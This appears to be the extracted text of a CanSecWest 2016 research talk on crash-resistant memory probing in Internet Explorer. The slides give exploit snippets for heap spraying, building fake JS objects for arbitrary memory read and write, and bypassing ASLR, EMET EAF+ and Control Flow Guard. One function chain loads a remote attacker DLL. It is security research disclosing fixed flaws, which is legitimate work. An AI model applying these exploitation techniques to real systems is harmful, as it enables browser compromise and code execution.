1. Bypassing Different Defense Schemes via
Crash-Resistant Probing of Address Space
Ruhr University Bochum
Horst Görtz Institute for IT-Security
Bochum, Germany
Robert Gawlik
2. CanSecWest 2016
About me
• Playing with InfoSec since 2010
• Currently in academia at Systems Security Group @
Horst Görtz Institute / Ruhr University Bochum
• Focusing on binary analysis / attacks / defenses /
static and dynamic analysis
• Little time for bug hunting and exploiting
• Fun fact: Recently discovered favorite toy: DynamoRIO
3. CanSecWest 2016
Agenda
• Crash-Resistance
• Crash-Resistance in IE 32-bit (CVE 2015-6161)
• Memory Scanning : Bypass ASLR
• Export Resolving : Bypass EMET's EAF+
• Function Chaining : Bypass Control Flow Guard &
EMET's UNC library path restriction
• Crash-Tolerant Function Dispatching : Fun !
• Mitigations/Fixes
22. CanSecWest 2016
Crash-Resistance in IE 11
• Start worker
• Launch timed callback() with setInterval()
• callback() function may produce access violations without
forcing IE into termination
(b): if callback() produces no fault, it is executed completely and
then started anew
(a): if an AV is triggered in callback(), then callback() stops running
and is executed anew
JS callback() set with setInterval() or setTimeout() in web worker
is crash-resistant:
→ usable as side channel
24. CanSecWest 2016
Memory Scanning
• Spray the heap
• Use vulnerabilty to change a byte
→ Create a type confusion and craft fake JS objects
• Utilize fake objects in web worker with setInterval() to scan
memory in a crash-resistant way
→ Discover Thread Environment Block (TEB)
→ Discover DLL Base Addresses
• Don't control EIP yet – instead: use only JS
The Plan:
→ bypass ASLR
25. CanSecWest 2016
Memory Scanning
Spray the heap
• Alternate between Object Arrays and Integer Arrays
• Object Arrays become aligned to 0xYYYY0000
• Integer Arrays become aligned to +f000 +f400 +f800 +fc00
→ Object Array:
ObjArr[0] = new String() // saved as reference; bit 0 never set
ObjArr[1] = 4 // integer saved as 9 = 4 << 1 | 1
→ Integer Array:
IntArr[0] = 4 // saved as 4
30. CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2
1011f100 80000002
1011f104 1011f010 00000000
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000
IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
Why this odd index ?
(0x100 – 0x10 + 4) / 4
IntArr is aligned to 0x1011f000
– 0x10: occupied header space
+ 0x100: offset to 0x1011f100
+ 0x4: element offset
/ 0x4: element size
→ We can expect the element
to reside at 0x1011f104
31. CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2
1011f100 80000002
1011f104 1011f010 00000000
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000
IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
IntArr is aligned to 0x1011f000 :
first element resides at
0x1011f010
0x10 bytes are taken as
header space
32. CanSecWest 2016
Memory Scanning
Spray the heap
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101
ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0
0:036> ddp 1011f100 L2
1011f100 80000002
1011f104 1011f010 00000000
0:036> dd 10110000 L0x0c
10110000 00000000 0000eff0 00000000 00000000
10110010 00000000 000000fc 00003bf8 00000000
10110020 1011f101 100ff1b0 80000002 80000002
0:036> dds 100ff1b0 L1
100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
IntArr[0] = 00000000
IntArr[(0x100 - 0x10) / 4] = 0x1011f010
Almost!
We need to change 01 to 00:
→ IE will interpret ObjArr[0] as object
reference and not as number.
→ Additionally, we control IntArr:
We could set all fields of the object
referenced by ObjArr[0]
33. CanSecWest 2016
Memory Scanning
Trigger a vulnerability to change a byte
• Use a rewriting Use-After-Free [5], e.g., CVE 2014-0322 (IE10):
inc [eax+0x10]
→ eax is attacker controlled
→ possible to change an arbitrary byte and continue execution
in JavaScript
OR
• Single NULL byte write to attacker chosen address
→ create a type confusion (0x1011f101 becomes 1011f100)
=> ObjArr[0] is interpreted as object
35. CanSecWest 2016
Memory Scanning
Creating fake JS Objects
fakeString = ObjArr[0] // get object element located at 0x1011f100
leak = escape(fakeString) // leak 0x4 bytes from 0x400000
→ we have set 0x41414141 as vtable ptr, but escape() still works
→ fakeString.substring() does not work → vtable lookup → AV
• We can now leak already all the things!
function leak(addr){
intArr[offset + 0xc] = addr
return to_dword(unescape(escape(ObjArr[0])))
}
36. CanSecWest 2016
Memory Scanning
Creating fake JS Objects
• Example: leak vtable ptr and type ptr to sanitize fakeString
ObjArr[1] = ”bla” // create LiteralString (ref @ 0x10110024)
str_addr = leak(0x10110024)
str_vtable_ptr = leak(str_addr)
str_type_ptr = leak(str_addr + 4)
IntArr[offset] = str_vtable_ptr // give fakeString a real vptr!
IntArr[offset + 4] = str_type_ptr // real type ptr!
→ fakeString.substring() should work now :)
• We can build arbitrary JS objects if we know their structure
• We don't have a write-what-where interface yet
→ Build your own Uint32Array() to RW complete memory
37. CanSecWest 2016
Memory Scanning
Creating fake JS Objects
• Exercise: Build your own Uint32Array()
• Inaccurate hint:
typedef struct Uint32Array_{
/*0x00*/ VOID* vtable_ptr;
/*0x04*/ VOID* type_ptr;
/*0x08*/ INT NULL;
/*0x0c*/ INT NULL;
/*0x10*/ VOID* arrayBufferObjectPtr; // can be unset
/*0x14*/ INT elemSize; // 4
/*0x18*/ INT arrayBufferOffset;
/*0x1c*/ INT nrElements; // 0x7fffffff/4
/*0x20*/ VOID* bufferPtr; // set to 0
/*0x24*/ INT NULL;
/*0x28*/ INT NULL;
/*0x2c*/ INT NULL;
} Uint32Array;
38. CanSecWest 2016
Memory Scanning
Crash-Resistant Scanning
• Where are we now?
We have fake String and Typed Array objects usable to read and
write the address space
→ arbitrary information leak
→ arbitrary memory write
→ Use fake objects for crash-resistant
scanning
56. CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• EAF: Forbit accesses to Export Address Table based on calling
code (shellcode)
• EAF+: Block read accesses to Export Address Table originating
from certain modules
→ EMET's max. security setting for IE (blacklist):
mshtml.dll; flash*.ocx; jscript*.dll; vbscript.dll; vgx.dll
EMET5.5
→ can we abuse reads originating from
non-blacklisted modules using only JS
(no control-flow hijacking)?
57. CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you!
escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- Worked with large strings but in recent tests it stopped
working (fixed?)
EMET5.5
58. CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you!
escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- Worked with large strings but in recent tests it stopped
working!!!!!! (fixed?, drunk?)
EMET5.5
?!
☹
59. CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ escape(fakeString) copies the DLL for you!
escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted)
- worked with large strings but in recent tests it stopped
working!!!!!! (fixed?, drunk?)
EMET5.5
There is something better:
Use the Blob!
60. CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object
blob = new Blob([fakeString], {type:"application/octet-stream"})
url = URL.createObjectURL(blob)
EMET5.5
0:024> kp n
# ChildEBP RetAddr
00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21
01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4
02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269
03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317
04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9
05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
61. CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object
blob = new Blob([fakeString], {type:"application/octet-stream"})
url = URL.createObjectURL(blob)
EMET5.5
0:024> kp n
# ChildEBP RetAddr
00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21
01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4
02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269
03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317
04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9
05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
Not blacklisted
by EAF+
62. CanSecWest 2016
Export Resolving
Resolve Exports under EMET 5.2 EAF and EAF+
• Yes we can!
→ Let fakeString point to module base and set module size
→ Create a Blob of the fakeString object
→ Use XMLHttpRequest to retrieve a string copy of the module
→ Resolve exports within the string copy:
PE = to_dword(DLL.substring(0x3c/2, 0x3c/2 + 2))
p_exp = PE + 0x18 + 0x60
ExportDir = to_dword(DLL.substring(p_exp/2, p_exp/2 + 2)
...
EMET5.5
65. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• CFG protects indirect calls
• Exported functions are allowed, but not all
• Control Flow Hijacking:
trigger virtual function call with a method of fakeString:
IntArr[offset] = fakeVtable // bogus vtable ptr
fakeString = ObjArr[0]
fakeString.whatever()
→
push fakeString // Arg1: controlled content
mov eax, [fakeString] // get vtable ptr
call [eax + x] // controlled target
66. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Idea:
(1) Collect export functions which have indirect calls
(2) Check if indirect call target is a field of first argument
(3) Check if parameters for indirect call target are influenced by
arguments
→ Fields of controlled object (first argument) get propagated to
parameters before indirect call → chain functions
→ Last function in chain is the function we want to perform our
operation
68. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
69. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
70. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1
Param1 = EBX
71. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1
Param1 = EBX
→ Param1 = Arg1
72. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1
Param1 = EBX
→ Param1 = Arg1
EAX = Arg3
ECX = EAX + 0x10
Param2 = ECX
73. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
EBX = Arg1 (fakeString)
ESI = [EBX + 0x2c]
EIP = ESI
→ EIP = [Arg1 + 0x2c]
EBX = Arg1
Param1 = EBX
→ Param1 = Arg1
EAX = Arg3
ECX = EAX + 0x10
Param2 = ECX
→ Param2 = Arg3 + 0x10
74. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Use of networkx [6] and miasm2 [7] to collect suitable exports:
In RtlInsertElementGenericTableFullAvl :
Simple Propagation Summary:
→ EIP = [Arg1 + 0x2c]
→ Param1 = Arg1
→ Param2 = Arg3 + 0x10
75. CanSecWest 2016
Function Chaining
Staying under the radar of Control Flow Guard (CFG)
• Load arbitrary remote DLLs under EMET:
→ Chain of five NTDLL functions (Win 8.1 only):
RtlLookupElementGenericTableFullAvl (1)
RtlInsertElementGenericTableFullAvl (2)
RtlLookupElementGenericTableFull (3)
RtlTraceDatabaseFind (4)
LdrInitShimEngineDynamic (5)
Execute callchain 1→ 2→ 3→ 4→ 5 : Two controlled parameters
LdrInitShimEngineDynamic([fakeStr + 0x8] + 0x20, [fakeStr] + 0x18)
Param1 has to be within a
module's bounds
Param2: pointer to remote DLL:
evilhostexploit.dll
77. CanSecWest 2016
Crash-Resistant Export Dispatching
Combining Function Chaining and Crash-Resistance
• Function chain allows dispatching exports with max. two
parameters
MoveFileA(STR, STR)
NtGetContextThread(HANDLE, CONTEXT)
...
• After execution of last function in chain an AV is thrown
→ Catched when AV happens within callback() of setInterval() !
→ Possibility to subsequently execute several function chains:
MoveFileA() + LoadLibrary() → two chains
NtGetContextThread() + NtContinue() → two chains
WinExec() + WinExec() + WinExec() → three chains :)
79. CanSecWest 2016
Crash-Resistant Export Dispatching
Executing arbitrary exports without Shellcode, ROP or JIT
(1) Get ESP with NtGetContextThread as last function in chain
(2) Prepare fake object with CONTEXT for NtContinue:
→ set EIP to wanted exported function (e.g., system call)
→ set ESP to free stack space
(3) Prepare free stack space:
→ write parameters for exported function
→ set return address for exported function to NULL
(4) Use virtual function call to launch NtContinue on indirect call
site in crash-resistant mode
(5) Read return data of system call and proceed to step (2)
80. CanSecWest 2016
Crash-Resistant Export Dispatching
Executing arbitrary exports without Shellcode, ROP or JIT
(1) Get ESP with NtGetContextThread as last function in chain
(2) Prepare fake object with CONTEXT for NtContinue:
→ set EIP to wanted exported function (e.g., system call)
→ set ESP to free stack space
(3) Prepare free stack space:
→ write parameters for exported function
→ set return address for exported function to NULL
(4) Use virtual function call to launch NtContinue on indirect call
site in crash-resistant mode
(5) Read return data of system call and proceed to step (2)
TNX to Yang Yu for
the NtContinue Trick [5] !
82. CanSecWest 2016
Mitigations
Fixes and Feedback by Microsoft
• user32 exception handing hardening feature addresses
Internet Explorer 7-11 (MS15-124) [8]
• Crash-Resistant issue fixed in MS Edge (MS15-125) [9]
• Control Flow Guard is becoming more fine-grained with each
Windows version:
→ NtContinue is no valid indirect call target in Windows10 RTM
• Code Integrity in MS Edge:
- block loading of arbitrary libraries
- block child process creation (Windows 10 Insider Preview)